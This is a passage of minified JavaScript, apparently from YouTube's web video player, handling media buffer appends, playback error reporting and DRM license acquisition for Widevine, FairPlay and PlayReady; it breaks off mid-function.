eHD=function(x,T,t){var u;if(u=x.policy.Oz&&x.FW&&!x.FW.J&&!x.Em.Fv())T=T.info.C.info,u=T.LF()&&Cj(T)&&T.video&&T.video.width<3840&&T.video.width>T.video.height;if(u&&(x.FW.J=!0,VV('video/webm; codecs="vp09.00.50.08.01.01.01.01.00"; width=3840; height=2160')))return t=XHH(t),x.policy.j&&x.kc("sp4k",{s:!!t}),t};
m$3=function(x,T,t,u){var H="fmt.unplayable",I=1;t===5||t===3?(H="fmt.unparseable",x.policy.C?!u.C.info.video||J$(x.Z.C).size>0||Nt(x.Z.C,u.C,!1):!u.C.info.video||J$(x.C.T).size>0||wj(x.C,u.C)):t===2&&(x.Ee<15?(x.Ee++,H="html5.invalidstate",I=0):H="fmt.unplayable");u=ae(u);var E;u.mrs=(E=x.FW)==null?void 0:wo(E);u.origin=T;u.reason=t;x.handleError(H,u,I)};
mKv=function(x,T,t,u,H){var I=x.gy;var E=x.policy.C,Z=!1,e=-1,l;for(l in I.C){var m=t0(I.C[l].info.mimeType)||I.C[l].info.Zo();if(u===m)if(m=I.C[l].index,m.wP(T.Mj)){Z=m;var d=T,M=Z.a8(d.Mj);M&&M.startTime!==d.startTime?(Z.segments=[],Z.GE(d),Z=!0):Z=!1;Z?e=T.Mj:!T.pending&&E&&(d=m.getDuration(T.Mj),d!==T.duration&&(I.publish("clienttemp","mfldurUpdate",{itag:I.C[l].info.itag,seg:T.Mj,od:d,nd:T.duration},!1),m.GE(T),Z=!0))}else m.GE(T),Z=!0}e>=0&&(E={},I.publish("clienttemp","resetMflIndex",(E[u?
"v":"a"]=e,E),!1));I=Z;BIJ(x.iq,T,u,I);x.K.KD(T,t,u,H);if(x.policy.Nz&&t){var A;(A=x.Zk)!=null&&A.j.set(T.Mj,t)}T.Mj===x.gy.Q9&&I&&PT(x.gy)&&T.startTime>PT(x.gy)&&(x.gy.QU=T.startTime+(isNaN(x.timestampOffset)?0:x.timestampOffset),x.iq.isSeeking()&&x.iq.C<x.gy.qU()&&x.iq.seek(x.gy.qU(),{}))};
$y=function(x,T,t,u){var H=SN(T);!H||H.K||LX(H,u)||(t.abort(),(T=T.S)!=null&&(Tb(T,4),T.flush()));if(!t.MB()||A0())try{if(x.policy.Ub){if(t.bT(u.C.info.containerType,u.C.info.Wv)){if(x.policy.UA&&t.RF())return!1;x.kc("ssap",{chgtp:u.C.info.containerType,cf:u.C.info.Wv,oldtp:t.MB(),oldcf:t.XG()});t.OZ(u.C.info.containerType,u.C.info.Wv,u.C.info.mimeType)}}else t.lA(u.C.info.containerType,u.C.info.mimeType)}catch(I){return t=I,g.Vh(t),x.kc("ctexp",{name:t.name,msg:t.message}),!1}else u.C.info.containerType!==
t.MB()&&x.kc("ctu",{ct:A0(),prev_c:t.MB(),curr_c:u.C.info.containerType});T=u.C.K;x.policy.s$&&T&&(u=0+T.duration,T=-T.C,0===t.q5()&&u===t.e6()||t.u_(0,u),T!==t.Pk()&&(t.L7(T),MI&&MPH(x.audioTrack.zb(),t.M6())));return!0};
im5=function(x,T,t,u){u.info.C.fC();var H=u.info.C.C;if(!H||!t.LS()||t.vl()===H)return!1;var I=H,E=t.EO();if(x.policy.S$&&E&&t.isView()&&g.Kj(u.info.C.info)){var Z=new DataView(H.buffer,H.byteOffset,H.byteLength);(E=rE3(Z,E))?I=new Uint8Array(E.buffer,E.byteOffset,E.byteLength):x.kc("fenc",{})}x.policy.Oz&&(E=eHD(x,u,new mi([I])))&&(I=E.QX());var e;(E=u.info.C.Zg(0,u.info.clipId))&&(e=E.iG[0]);if(u===x.tM){if(x.Hv+=1,x.Em.getVideoData().B("html5_shorts_gapless_restart_on_init_seg_retries")&&x.Hv>
5)return x.Hv=0,x.Em.h8({initSegStuck:1,as:u.info.Hk()}),!0}else x.Hv=0,x.tM=u;x.policy.DF&&(t.abort(),(E=T.S)!=null&&(Tb(E,4),E.flush()));H=lFJ(x,t,I,e,H);var l;(l=T.S)==null||aNX(l,H,e);if(H!==0)return d$3(x,H,u),!0;u.info.Zo()?uOq(x.timing):$H4(x.timing);x.logger.debug(function(){return"Appended init for "+u.info.C.info.id});
ZmD(x,u.info.C.g8);return t.RF()};
Hm3=function(x,T,t){if(T.vl()==null){x=SN(x);if(!(T=!x||x.C!==t.info.C)){a:if(x=x.N,t=t.info.N,x.length!==t.length)t=!1;else{for(T=0;T<x.length;T++)if(!g.qv(x[T],t[T])){t=!1;break a}t=!0}T=!t}return T}x=T.vl();t.info.C.HJ()&&s4(t);t=t.info.C.C;return x!==t&&!g.qv(x,t)};
lFJ=function(x,T,t,u,H){var I=0;if(x.policy.Z&&u&&u.clipId&&x.zI){var E;I=(((E=x.zI)==null?void 0:vw(E,u.clipId))||0)/1E3}try{x.policy.Z&&T.Pk()!==I&&T.L7(I);var Z,e=T===((Z=x.FW)==null?void 0:Z.C)?x.audioTrack:x.videoTrack;if(x.policy.AQ&&(u==null?0:u.FQ())){if((u==null?void 0:u.J)>1)return 6;e.QU=new g.wX(function(){var m=JU(e);x.T9()||m==null||!m.isLocked?x.Em.Y().AM()&&x.kc("eosl",{delayA:m==null?void 0:m.info.Hk()}):MVD(e)?(x.Em.Y().AM()&&x.kc("eosl",{dunlock:m==null?void 0:m.info.Hk()}),ABi(x,
e===x.audioTrack)):(x.kc("nue",{ls:m.info.Hk()}),m.info.J+=1,x.FW&&x.xM())},1E4,x);
x.Em.Y().AM()&&x.kc("eosl",{delayS:u.Hk()});e.QU.start()}if(x.policy.aq&&(u==null?0:u.FQ())){var l;if((l=e.Om)==null?0:l.isActive())g.Xj(e.Om),x.kc("sbac",{as:u.Hk()});e.Om=new g.wX(function(){x.kc("sbum5s",{as:u.Hk()})},5E3,x);
e.Om.start()}x.policy.Jj&&(u==null?void 0:u.C)instanceof NH&&u.FQ()&&x.kc("poseos",{itag:u.C.info.itag,seg:u.Mj,lseg:u.C.index.mR(),es:u.C.index.j});T.appendBuffer(t,u,H)}catch(m){if(m instanceof DOMException){if(m.code===11)return 2;if(m.code===12)return 5;if(m.code===22||m.message.indexOf("Not enough storage")===0)return T=Object.assign({name:"QuotaExceededError",buffered:iK(T.ma()).replace(/,/g,"_"),vheap:zb(x.videoTrack),aheap:zb(x.audioTrack),message:g.R2(m.message,3),track:x.FW?T===x.FW.Z?"v":
"a":"u"},WJ3()),x.handleError("player.exception",T),1;g.vW(m)}return 4}return x.FW.oT()?3:0};
Ny=function(x,T,t){x.Em.seekTo(T,t)};
ZmD=function(x,T){T&&x.Em.Xn(new Id(T.key,T.type))};
jN=function(x,T){x.Em.jr(T)};
Bw=function(x,T){if(x.nf&&!x.rG)return 3;if(x.isSuspended)return 1;var t;if((t=x.FW)==null?0:t.FW&&t.FW.streaming===!1)return 4;t=(T.C.info.audio?x.policy.Lz:x.policy.nf)/(T.Zp*x.policy.vB);if(x.policy.d$>0&&x.FW&&Q5(x.FW)&&(T=T.C.info.video?x.FW.Z:x.FW.C)&&!T.RF()){T=T.ma();var u=IE(T,x.getCurrentTime());u>=0&&(T=x.getCurrentTime()-T.start(u),t+=Math.max(0,Math.min(T-x.policy.d$,x.policy.EA)))}x.policy.uG>0&&(t=Math.min(t,x.policy.uG));return t};
lGH=function(x,T){return(Bw(x,T)+x.policy.DH)*T.Zp};
Pvv=function(x){x.mu&&!x.isSuspended&&c_(x.schedule)&&(RHf(x,x.mu),x.mu="")};
RHf=function(x,T){Uz(T,"cms",function(t){x.policy.j&&x.kc("pathprobe",t)},function(t){x.Em.handleError(t)})};
SD3=function(x,T){if(x.FW&&x.FW.K&&!x.FW.oT()&&(T.g$=F_(x.videoTrack),T.Z=F_(x.audioTrack),x.policy.j)){var t=zb(x.videoTrack),u=zb(x.audioTrack),H=iK(x.FW.Z.ma(),"_",5),I=iK(x.FW.C.ma(),"_",5);Object.assign(T.C,{lvq:t,laq:u,lvb:H,lab:I})}T.bandwidthEstimate=rS(x.S);var E;(E=x.audioTrack.S)==null||E.flush();var Z;(Z=x.videoTrack.S)==null||Z.flush();x.logger.debug(function(){return bF(T.C)})};
cBf=function(x,T){x.J=T;x.K&&(x.K.D=T);x.J.Mc(x.videoTrack.C.info.LF());x.T.Z=x.J;x.policy.T&&(x.j.K=x.J)};
YDX=function(x,T){if(x.FW&&x.FW.Z){if(x.policy.u0){var t=aXV(x.audioTrack);if(t&&t.iD()){var u=x.Em;u.BH&&(u.BH.C=t,u.VA(u.BH.videoId).aj(u.BH))}}x.policy.xa&&(t=aXV(x.videoTrack))&&t.Zo()&&(u=x.Em,u.Co&&(u.Co.C=t,u.VA(u.Co.videoId).EN(u.Co)));T-=isNaN(x.timestampOffset)?0:x.timestampOffset;x.getCurrentTime()!==T&&x.resume();x.iq.isSeeking()&&x.FW&&!x.FW.oT()&&(t=x.getCurrentTime()<=T&&T<x.getCurrentTime()+10,u=Ec(x.FW.Z.ma(),x.getCurrentTime()+Ew),t&&u&&(x.iq.T=!1));x.iq.isSeeking()||x.policy.Om||
(x.currentTime=T);if(x.policy.Nz&&(t=x.Zk)!=null){u=x.Em.getCurrentTime();var H=x.kc.bind(x),I=t.K.tp(T),E=t.K.getStartTime(I);if(t.Z||I>=0&&I<Number.POSITIVE_INFINITY&&I!==t.C){t.Z=!1;var Z=t.j.get(I);((Z==null?void 0:Z.j.length)||0)>1?Z.Z[0]<T-E?H("ssevt",{ssvc:"start",cpn:Z.C[1],vid:Z.ids[1],ct:u.toFixed(3),mt:T.toFixed(3),cmt:(E+Z.Z[0]).toFixed(3),seg:I,lastSeg:t.C}):t.Z=!0:(Z==null?void 0:Z.j.length)===1&&(Z==null?void 0:Z.j[0])===0&&H("ssevt",{ssvc:"start",cpn:Z.C[0],vid:Z.ids[0],ct:u.toFixed(3),
mt:T.toFixed(3),cmt:E.toFixed(3),seg:I,lastSeg:t.C});I!==t.C&&(t.j.delete(t.C),t.C=I)}}g.Kt(x.cJ)}};
U$m=function(x,T){var t=bU(x.videoTrack).find(function(u){return u.startTime>=T&&DE3(x,u.startTime,!1)});
return t&&t.startTime<T+t.duration*1.5?t.startTime+.1:0};
DE3=function(x,T,t){if(!(x.videoTrack.C.fC()&&x.audioTrack.C.fC()&&x.FW&&x.FW.Z&&x.FW.C))return!1;if(t&&x.gy.isManifestless&&(x.videoTrack.D===-1||x.audioTrack.D===-1))return!0;var u=gS(x.videoTrack,T,t);if(isNaN(u))return!1;x=gS(x.audioTrack,x.policy.tR?T:u,t);return isNaN(x)?!1:!0};
Md=function(x){x.CU();x.iq.isSeeking()&&x.logger.debug("seeking cancelled by seek-to-head");x.N&&ncJ(x.N,x.videoTrack.C);TL(x);return G43(x.iq)};
X_=function(x,T,t,u){(u===void 0?0:u)&&!T.nf&&(A0()||(u=T.qJ,OBv(x)||!u||u.Fc(t.info)||(x.kc("ssap",{rstonsrvfmt:t.info.mimeType}),x.Em.jw())),T.nf=!0);T.C!==t&&(x.logger.debug(function(){return"Setting target itag: "+t.info.id+" (was "+T.C.info.id+")"}),T.C=t)};
MVD=function(x){var T,t=(T=JU(x))==null?void 0:T.info;return!t||gC(x,Math.min(t.Gy+Ew,t.BS))};
bmD=function(x,T){var t;if((t=JU(T))!=null&&t.isLocked&&MVD(T)){if(x.Em.Y().AM()){var u;x.kc("eosl",{munlock:(u=JU(T))==null?void 0:u.info.Hk()})}ABi(x,T===x.audioTrack)}};
ABi=function(x,T){if(x.policy.AQ&&x.FW){var t,u,H=T?(t=x.FW)==null?void 0:t.C:(u=x.FW)==null?void 0:u.Z;t=T?x.audioTrack:x.videoTrack;T=JU(t);if(T==null?0:T.isLocked){x.Em.Y().AM()&&x.kc("eosl",{unlock:T.info.Hk()});var I;(I=t.QU)==null||I.stop();T.isLocked=!1;t.l6(T);zUD(x.C,T.info);H=H==null?void 0:H.pW();(H==null?void 0:H.Hk())!==T.info.Hk()&&x.kc("oue",{bls:H==null?void 0:H.Hk(),tls:T.info.Hk()})}}};
rB5=function(x,T){x.timestampOffset!==T&&(x.timestampOffset=T,x.policy.qz&&cT(x.gy),x.logger.debug(function(){return"Timestamps will be made relative to "+x.timestampOffset}),x.K.J=x.timestampOffset,x.Em.jI(x.timestampOffset),x.gy.isManifestless&&(x.gy.timestampOffset=x.timestampOffset),x.videoTrack.L7(x.timestampOffset),x.audioTrack.L7(x.timestampOffset))};
zHf=function(x){x.policy.Zk&&(x.audioTrack.ZZ=[],x.videoTrack.ZZ=[])};
fXq=function(x){var T=x.B_().filter(function(u){return u.namespace==="ad"});
T=g.S(T);for(var t=T.next();!t.done;t=T.next())if(t=t.value,t.start/1E3>x.getCurrentTime())return t.start/1E3;return Infinity};
kTi=function(x){var T=SN(x.videoTrack),t=SN(x.audioTrack);return T&&!n8q(x.videoTrack)?T.startTime:t&&!n8q(x.audioTrack)?t.startTime:NaN};
SPv=function(x){if(x.Em.getVideoData().isLivePlayback)return!1;var T=x.Em.Bt();if(!T)return!1;T=T.getDuration();return PqD(x,T)};
PqD=function(x,T){if(!x.FW||!x.FW.C||!x.FW.Z)return!1;var t=x.getCurrentTime(),u=x.FW.C.ma();x=x.FW.Z.ma();u=u?qG(u,t):t;t=x?qG(x,t):t;t=Math.min(u,t);return isNaN(t)?!1:t>=T-.01};
d$3=function(x,T,t){x.policy.Lo&&tB(x.Em.getVideoData())?(x.Em.O1()||m$3(x,"sepInit",T,t.info),FEX(x.Em,"sie")):m$3(x,"sepInit",T,t.info)};
xA=function(x){return x.Em.uj()<x.L2};
g.q0=function(x){this.VF=x};
Zi=function(){g.$B.apply(this,arguments)};
jh=function(x,T,t,u){Zi.call(this);var H=this;this.j=-1;this.C={};this.K=new g.wX(this.T,0,this);g.y(this,this.K);this.Z=new g.wX(function(){H.T9()||(H.K.start(Math.random()*t),H.Z.start(T))},x,this);
g.y(this,this.Z);u.subscribe("fairplay_next_need_key_info",this.D,this)};
hH3=function(x){if(!(x.length<=28))for(var T=(0,g.A$)([60,0,75,0,73,0,68,0,62,0]),t=28;t<x.length;){a:if(x.length-t<T.length)var u=!1;else{for(u=0;u<T.length;++u)if(x[t+u]!==T[u]){u=!1;break a}u=!0}if(u){t+=T.length;if(x.length<=t+48)break;T=new Uint8Array(24);for(u=0;u<24;++u)T[u]=x[t+u*2];x=c5(T);x=PI(x);if(!x)break;t=x[0];x[0]=x[3];x[3]=t;t=x[1];x[1]=x[2];x[2]=t;t=x[4];x[4]=x[5];x[5]=t;t=x[6];x[6]=x[7];x[7]=t;return x}t++}};
eh=function(x,T,t){Zi.call(this);var u=this;this.j=x;this.C=[];this.yF={lSQ:function(){return u.C.length}};
this.K=t.aU("html5_ignore_widevine_key_rotation_license_requests");this.Z=new g.wX(function(){u.publish("log_qoe",{wvagt:"timer",reqlen:u.C?u.C.length:-1});if(u.C){if(u.C.length>0){var H=u.C.shift();v7m(u,H.info)}u.C.length>0&&(H=u.C[0].time-(0,g.bo)(),u.Z.start(Math.max(0,H)))}},0);
g.y(this,this.Z);T.subscribe("widevine_set_need_key_info",this.T,this)};
v7m=function(x,T){a:{var t=T.cryptoPeriodIndex;if(isNaN(t)&&x.j.size>0)t=!0;else{for(var u=g.S(x.j.values()),H=u.next();!H.done;H=u.next())if(H.value.cryptoPeriodIndex===t){t=!0;break a}t=!1}}x.publish("log_qoe",{wvagt:"reqnews",canskip:t});t||x.publish("rotated_need_key_info_ready",T)};
VVD=function(){var x={};var T=x.url;var t=x.interval;x=x.retries;this.url=T;this.interval=t;this.retries=x};
GT3=function(x,T){this.statusCode=x;this.message=T;this.Z=this.heartbeatParams=this.errorMessage=null;this.C={};this.nextFairplayKeyId=null};
LE5=function(x,T,t){t=t===void 0?"":t;g.W.call(this);this.message=x;this.requestNumber=T;this.iI=t;this.onError=this.onSuccess=null;this.C=new g.SM(5E3,2E4,.2)};
n73=function(x,T,t){x.onSuccess=T;x.onError=t};
g73=function(x,T,t,u){var H={timeout:3E4,onSuccess:function(I){if(!x.T9()){a3("drm_net_r",void 0,x.iI);var E=I.status==="LICENSE_STATUS_OK"?0:9999,Z=null;if(I.license)try{Z=PI(I.license)}catch(R){g.vW(R)}if(E!==0||Z){Z=new GT3(E,Z);E!==0&&I.reason&&(Z.errorMessage=I.reason);if(I.authorizedFormats){E={};for(var e=[],l={},m=g.S(I.authorizedFormats),d=m.next();!d.done;d=m.next())if(d=d.value,d.trackType&&d.keyId){var M=aFi[d.trackType];if(M){M==="HD"&&I.isHd720&&(M="HD720");d.isHdr&&(M+="HDR");E[M]||
(e.push(M),E[M]=!0);var A=null;try{A=PI(d.keyId)}catch(R){g.vW(R)}A&&(l[g.Am(A,4)]=M)}}Z.Z=e;Z.C=l}I.nextFairplayKeyId&&(Z.nextFairplayKeyId=I.nextFairplayKeyId);I.sabrLicenseConstraint&&(Z.sabrLicenseConstraint=PI(I.sabrLicenseConstraint));I=Z}else I=null;if(I)x.onSuccess(I,x.requestNumber);else x.onError(x,"drm.net","t.p;p.i")}},
onError:function(I){if(!x.T9())if(I&&I.error)I=I.error,x.onError(x,"drm.net.badstatus","t.r;p.i;c."+I.code+";s."+I.status,I.code);else x.onError(x,"drm.net.badstatus","t.r;p.i;c.n")},
onTimeout:function(){x.onError(x,"drm.net","rt.req."+x.requestNumber)}};
u&&(H.Eg="Bearer "+u);g.Xw(t,"player/get_drm_license",T,H)};
BbD=function(x,T,t,u){g.$B.call(this);this.videoData=x;this.Cf=T;this.J=t;this.sessionId=u;this.T={};this.cryptoPeriodIndex=NaN;this.url="";this.requestNumber=0;this.ZZ=this.jY=!1;this.j=null;this.uG=[];this.K=[];this.N=!1;this.C={};this.status="";this.D=NaN;this.Z=x.T;this.cryptoPeriodIndex=t.cryptoPeriodIndex;x={};Object.assign(x,this.Cf.C);x.cpn=this.videoData.clientPlaybackNonce;this.videoData.jY&&(x.vvt=this.videoData.jY,this.videoData.mdxEnvironment&&(x.mdx_environment=this.videoData.mdxEnvironment));
this.Cf.uG&&(x.authuser=this.Cf.uG);this.Cf.pageId&&(x.pageid=this.Cf.pageId);isNaN(this.cryptoPeriodIndex)||(x.cpi=this.cryptoPeriodIndex.toString());var H=(H=/_(TV|STB|GAME|OTT|ATV|BDP)_/.exec(g.FF()))?H[1]:"";H==="ATV"&&(x.cdt=H);this.T=x;this.T.session_id=u;this.S=!0;this.Z.flavor==="widevine"&&(this.T.hdr="1");this.Z.flavor==="playready"&&(T=Number(XT(T.experiments,"playready_first_play_expiration")),!isNaN(T)&&T>=0&&(this.T.mfpe=""+T),this.S=!1);T="";g.BT(this.Z)?gV(this.Z)?(u=t.Z)&&(T="https://www.youtube.com/api/drm/fps?ek="+
aCJ(u)):(T=t.initData.subarray(4),T=new Uint16Array(T.buffer,T.byteOffset,T.byteLength/2),T=String.fromCharCode.apply(null,T).replace("skd://","https://")):T=this.Z.Z;this.baseUrl=T;this.fairplayKeyId=Cq(this.baseUrl,"ek")||"";if(T=Cq(this.baseUrl,"cpi")||"")this.cryptoPeriodIndex=Number(T);this.uG=t.LF?[g.Am(t.initData,4)]:t.j;l$(this,{sessioninit:t.cryptoPeriodIndex});this.status="in"};
Nbi=function(x,T){l$(x,{createkeysession:1});x.status="gr";a3("drm_gk_s",void 0,x.videoData.G9);x.url=WEf(x);try{x.j=T.createSession(x.J,function(t){l$(x,{m:t})})}catch(t){T="t.g";
t instanceof DOMException&&(T+=";c."+t.code);x.publish("licenseerror","drm.unavailable",1,T,"HTML5_NO_AVAILABLE_FORMATS_FALLBACK");return}x.j&&(D$5(x.j,function(t,u){yBJ(x,t,u)},function(t,u,H){if(!x.T9()){u=void 0;
var I=1;g.BT(x.Z)&&g.L1(x.Cf)&&x.Cf.B("html5_enable_safari_fairplay")&&H===1212433232&&(u="ERROR_HDCP",I=x.Cf.B("html5_safari_fairplay_ignore_hdcp")?0:I);x.error("drm.keyerror",I,t,u)}},function(){x.T9()||(l$(x,{onkyadd:1}),x.ZZ||(x.publish("sessionready"),x.ZZ=!0))},function(t){x.ZS(t)}),g.y(x,x.j))};
WEf=function(x){var T=x.baseUrl;xSm(T)||x.error("drm.net",2,"t.x");if(!Cq(T,"fexp")){var t=["23898307","23914062","23916106","23883098"].filter(function(H){return x.Cf.experiments.experiments[H]});
t.length>0&&(x.T.fexp=t.join())}t=g.S(Object.keys(x.T));for(var u=t.next();!u.done;u=t.next())u=u.value,T=bIm(T,u,x.T[u]);return T};
yBJ=function(x,T,t){if(!x.T9())if(T){l$(x,{onkmtyp:t});x.status="km";switch(t){case "license-renewal":case "license-request":case "license-release":break;case "individualization-request":JB4(x,T);return;default:x.publish("ctmp","message_type",{t:t,l:T.byteLength})}x.jY||(a3("drm_gk_f",void 0,x.videoData.G9),x.jY=!0,x.publish("newsession",x));if(LY(x.Z)&&(T=Cv3(T),!T))return;T=new LE5(T,++x.requestNumber,x.videoData.G9);n73(T,function(u){QUX(x,u)},function(u,H,I){if(!x.T9()){var E=0;
u.C.Z>=3&&(E=1,H="drm.net.retryexhausted");l$(x,{onlcsrqerr:H,info:I});x.error(H,E,I);x.shouldRetry(zY(E),u)&&pVv(x,u)}});
g.y(x,T);Omq(x,T)}else x.error("drm.unavailable",1,"km.empty")};
JB4=function(x,T){l$(x,{sdpvrq:1});x.D=Date.now();if(x.Z.flavor!=="widevine")x.error("drm.provision",1,"e.flavor;f."+x.Z.flavor+";l."+T.byteLength);else{var t={cpn:x.videoData.clientPlaybackNonce};Object.assign(t,x.Cf.C);t=g.NY("https://www.googleapis.com/certificateprovisioning/v1/devicecertificates/create?key=AIzaSyB-5OLKTx2iU5mko18DfdwK5611JIjbUhE",t);T={format:"RAW",headers:{"content-type":"application/json"},method:"POST",postBody:JSON.stringify({signedRequest:String.fromCharCode.apply(null,
T)}),responseType:"arraybuffer"};g.kD(t,T,3,500).then(Sv(function(u){u=u.xhr;if(!x.T9()){u=new Uint8Array(u.response);var H=String.fromCharCode.apply(null,u);try{var I=JSON.parse(H)}catch(E){}I&&I.signedResponse?(x.publish("ctmp","drminfo",{provisioning:1}),I=(Date.now()-x.D)/1E3,x.D=NaN,x.publish("ctmp","provs",{et:I.toFixed(3)}),x.j&&x.j.update(u)):(I=I&&I.error&&I.error.message,u="e.parse",I&&(u+=";m."+I),x.error("drm.provision",1,u))}}),Sv(function(u){x.T9()||x.error("drm.provision",1,"e."+u.errorCode+
";c."+(u.xhr&&u.xhr.status))}))}};
m_=function(x){var T;if(T=x.S&&x.j!=null)x=x.j,T=!(!x.C||!x.C.keyStatuses);return T};
Omq=function(x,T){x.status="km";a3("drm_net_s",void 0,x.videoData.G9);var t=new g.Kf(x.Cf.WD),u={context:g.E5(t.config_||g.Is())};u.drmSystem=fFf[x.Z.flavor];u.videoId=x.videoData.videoId;u.cpn=x.videoData.clientPlaybackNonce;u.sessionId=x.sessionId;u.licenseRequest=g.Am(T.message);u.drmParams=x.videoData.drmParams;isNaN(x.cryptoPeriodIndex)||(u.isKeyRotated=!0,u.cryptoPeriodIndex=x.cryptoPeriodIndex);var H,I,E=!!((H=x.videoData.Z)==null?0:(I=H.video)==null?0:I.isHdr());u.drmVideoFeature=E?"DRM_VIDEO_FEATURE_PREFER_HDR":
"DRM_VIDEO_FEATURE_SDR";if(u.context&&u.context.client){if(H=x.Cf.C)u.context.client.deviceMake=H.cbrand,u.context.client.deviceModel=H.cmodel,u.context.client.browserName=H.cbr,u.context.client.browserVersion=H.cbrver,u.context.client.osName=H.cos,u.context.client.osVersion=H.cosver;u.context.user=u.context.user||{};u.context.request=u.context.request||{};x.videoData.jY&&(u.context.user.credentialTransferTokens=[{token:x.videoData.jY,scope:"VIDEO"}]);u.context.request.mdxEnvironment=x.videoData.mdxEnvironment||
u.context.request.mdxEnvironment;x.videoData.ra&&(u.context.user.kidsParent={oauthToken:x.videoData.ra});g.BT(x.Z)&&(u.fairplayKeyId=g.Am(gqX(x.fairplayKeyId)));g.sP(x.Cf,g.Cm(x.videoData)).then(function(Z){g73(T,u,t,Z);x.status="rs"})}else x.error("drm.net",2,"t.r;ic.0")};
QUX=function(x,T){if(!x.T9())if(l$(x,{onlcsrsp:1}),x.status="rr",T.statusCode!==0)x.error("drm.auth",1,"t.f;c."+T.statusCode,T.errorMessage||void 0);else{a3("drm_kr_s",void 0,x.videoData.G9);if(T.heartbeatParams&&T.heartbeatParams.url&&x.videoData.B("outertube_streaming_data_always_use_staging_license_service")){var t=x.Z.Z.match(/(.*)youtube.com/g);t&&(T.heartbeatParams.url=t[0]+T.heartbeatParams.url)}T.heartbeatParams&&x.publish("newlicense",T.heartbeatParams);T.Z&&(x.K=T.Z,x.videoData.g6||x.publish("newlicense",
new VVD),x.videoData.g6=!0,x.N=h2(x.K,function(u){return u.includes("HDR")}));
T.C&&(x.Cf.B("html5_enable_vp9_fairplay")&&gV(x.Z)?(t=g.Am(gqX(x.fairplayKeyId),4),x.C[t]={type:T.C[t],status:"unknown"}):x.C=RL(T.C,function(u){return{type:u,status:"unknown"}}));
a$(x.Z)&&(T.message=h4J(g.Am(T.message)));x.j&&(l$(x,{updtks:1}),x.status="ku",x.j.update(T.message).then(function(){a3("drm_kr_f",void 0,x.videoData.G9);m_(x)||(l$(x,{ksApiUnsup:1}),x.publish("keystatuseschange",x))},function(u){u="msuf.req."+x.requestNumber+";msg."+g.R2(u.message,3);
x.error("drm.keyerror",1,u)}));
g.BT(x.Z)&&x.publish("fairplay_next_need_key_info",x.baseUrl,T.nextFairplayKeyId);x.Cf.B("html5_enable_vp9_fairplay")&&gV(x.Z)&&x.publish("qualitychange",wVX(x.K));T.sabrLicenseConstraint&&x.publish("sabrlicenseconstraint",T.sabrLicenseConstraint)}};
pVv=function(x,T){var t=T.C.getValue();t=new g.wX(function(){Omq(x,T)},t);
g.y(x,t);t.start();g.cQ(T.C);l$(x,{rtyrq:1})};
KED=function(x,T){for(var t=[],u=g.S(Object.keys(x.C)),H=u.next();!H.done;H=u.next())H=H.value,t.push(H+"_"+x.C[H].type+"_"+x.C[H].status);return t.join(T)};
XVC=function(x){var T={};T[x.status]=m_(x)?KED(x,"."):x.K.join(".");return T};
xwq=function(x,T){switch(x){case "highres":case "hd2880":x="UHD2";break;case "hd2160":case "hd1440":x="UHD1";break;case "hd1080":case "hd720":x="HD";break;case "large":case "medium":case "small":case "light":case "tiny":x="SD";break;default:return""}T&&(x+="HDR");return x};
Thf=function(x,T){for(var t in x.C)if(x.C[t].status==="usable"&&x.C[t].type===T)return!0;return!1};
ohi=function(x,T){for(var t in x.C)if(x.C[t].type===T)return x.C[t].status};
l$=function(x,T){var t=t===void 0?!1:t;bF(T);(t||x.Cf.AM())&&x.publish("ctmp","drmlog",T)};
txJ=function(x){var T=x[0];x[0]=x[3];x[3]=T;T=x[1];x[1]=x[2];x[2]=T;T=x[4];x[4]=x[5];x[5]=T;T=x[6];x[6]=x[7];x[7]=T};
wVX=function(x){return g.wy(x,"UHD2")||g.wy(x,"UHD2HDR")?"highres":g.wy(x,"UHD1")||g.wy(x,"UHD1HDR")?"hd2160":g.wy(x,"HD")||g.wy(x,"HDHDR")?"hd1080":g.wy(x,"HD720")||g.wy(x,"HD720HDR")?"hd720":"large"};
Cv3=function(x){for(var T="",t=0;t<x.length;t+=2)T+=String.fromCharCode(x[t]);x=pd(new DOMParser,Ld(T),"text/xml");return x?(x=x.querySelector("Challenge"))&&x.childNodes&&x.childNodes.length!==0?new Uint8Array((0,g.A$)(jPV(x.childNodes[0].nodeValue)).buffer):null:null};
dR=function(x,T,t,u,H,I){I=I===void 0?!1:I;g.W.call(this);this.element=x;this.J=T;this.initData=t;this.C=u;this.Z=H;this.S=I;this.sessionId="";this.N=this.D=this.j=this.T=null;this.K=new g.nj(this);g.y(this,this.K);s9V(this)};
s9V=function(x){x.C?(x.K.V(x.C,"message",x.aZ),x.K.V(x.C,"keystatuseschange",x.ZS),x.C.closed&&x.C.closed.then(Sv(function(){x.onClosed()}),null)):x.Z&&(rx(x.K,x.Z,["mskeymessage",
"webkitkeymessage"],x.RO),rx(x.K,x.Z,["mskeyerror","webkitkeyerror"],x.Mn),rx(x.K,x.Z,["mskeyadded","webkitkeyadded"],x.hW))};
D$5=function(x,T,t,u,H){x.T=T;x.j=t;x.D=u;x.N=H};
us3=function(x,T,t){g.vW(t);x.j&&(t instanceof DOMException&&(T+=";n."+t.name+";m."+t.message),x.j(T))};
M0=function(x,T,t,u){u=u===void 0?!1:u;g.W.call(this);this.element=x;this.C=T;this.kc=t;this.N=u;this.D={};this.K=null;this.T=new g.nj(this);this.j=this.Z=null;g.y(this,this.T)};
HW4=function(x,T){T=$wJ(T,x.C.tQ);T=x.j.createSession("video/mp4",T);return new dR(null,null,null,null,T,x.N)};
iW3=function(x,T){for(var t=new Uint8Array(270),u=0;u<135;u++)t[u*2]='<PlayReadyCDMData type="LicenseAcquisition"><LicenseAcquisition version="1.0" Proactive="true"></LicenseAcquisition></PlayReadyCDMData>'.charCodeAt(u);x=x.j.createSession("video/mp4",T,t);return new dR(null,null,null,null,x)};
I0m=function(x,T){var t=x.D[T.sessionId];!t&&x.K&&(t=x.K,x.K=null,t.sessionId=T.sessionId,x.D[T.sessionId]=t);return t};
$wJ=function(x,T){var t=x.subarray(4);t=new Uint16Array(t.buffer,t.byteOffset,t.byteLength/2);t=String.fromCharCode.apply(null,t).match(/ek=([0-9a-f]+)/)[1];for(var u="",H=0;H<t.length;H+=2)u+=String.fromCharCode(parseInt(t.substring(H,H+2),16));t=u;u=new ArrayBuffer(t.length*2);H=new Uint16Array(u);for(var I=0;I<t.length;I++)H[I]=t.charCodeAt(I);t=new Uint8Array(u);u=0;I=new ArrayBuffer(x.byteLength+4+t.byteLength+4+T.byteLength);H=new Uint8Array(I);I=new DataView(I);H.set(x);u+=x.byteLength;I.setUint32(u,
